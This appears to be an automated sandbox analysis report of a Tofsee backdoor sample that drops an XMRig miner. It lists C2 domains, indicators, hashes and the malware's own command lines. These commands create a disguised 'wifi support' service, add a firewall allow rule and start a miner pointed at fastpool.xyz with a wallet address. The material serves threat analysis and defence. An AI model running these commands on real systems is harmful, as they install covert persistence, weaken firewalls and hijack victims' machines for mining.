Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    14/11/2022, 09:19

General

  • Target
    file.exe
  • Size 315KB
  • Sample221114-k96smsbb5x
  • SHA256 4e95d3db7c7af21e4578abae6defcf9982387452d72d36fa667f782f7d20e6fc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gophkvow\
      2⤵
        PID:2000
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hnfuzsj.exe" C:\Windows\SysWOW64\gophkvow\
        2⤵
          PID:1224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gophkvow binPath= "C:\Windows\SysWOW64\gophkvow\hnfuzsj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gophkvow "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gophkvow
          2⤵
          • Launches sc.exe
          PID:1376
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1952
      • C:\Windows\SysWOW64\gophkvow\hnfuzsj.exe
        C:\Windows\SysWOW64\gophkvow\hnfuzsj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:576
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1036
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1348

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            hnfuzsj.exe

            • Path C:\Users\Admin\AppData\Local\Temp\hnfuzsj.exe
            • Size 10.4MB
            • SHA256 0b66f7a14a557386597883de10f50eb990f30e37783ccd3e1988dc9de03fcf8b
            • MD5 SHA1 SHA512 SSDEEP

            hnfuzsj.exe

            • Path C:\Windows\SysWOW64\gophkvow\hnfuzsj.exe
            • Size 10.4MB
            • SHA256 0b66f7a14a557386597883de10f50eb990f30e37783ccd3e1988dc9de03fcf8b
            • MD5 SHA1 SHA512 SSDEEP

            memory/576-77-0x0000000000400000-0x0000000000852000-memory.dmp

            memory/576-75-0x0000000000A18000-0x0000000000A2E000-memory.dmp

            memory/576-68-0x0000000000A18000-0x0000000000A2E000-memory.dmp

            memory/1036-88-0x00000000001C0000-0x00000000001D0000-memory.dmp

            memory/1036-73-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1036-100-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1036-97-0x0000000000220000-0x0000000000227000-memory.dmp

            memory/1036-94-0x0000000005920000-0x0000000005D2B000-memory.dmp

            memory/1036-91-0x00000000001D0000-0x00000000001D5000-memory.dmp

            memory/1036-85-0x00000000001B0000-0x00000000001B6000-memory.dmp

            memory/1036-82-0x0000000001A20000-0x0000000001C2F000-memory.dmp

            memory/1036-81-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1036-71-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1100-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1100-54-0x0000000000958000-0x000000000096E000-memory.dmp

            memory/1100-59-0x0000000000400000-0x0000000000852000-memory.dmp

            memory/1100-55-0x00000000763F1000-0x00000000763F3000-memory.dmp

            memory/1100-67-0x0000000000958000-0x000000000096E000-memory.dmp

            memory/1100-57-0x0000000000958000-0x000000000096E000-memory.dmp

            memory/1100-69-0x0000000000400000-0x0000000000852000-memory.dmp

            memory/1348-101-0x0000000000210000-0x0000000000301000-memory.dmp

            memory/1348-103-0x0000000000210000-0x0000000000301000-memory.dmp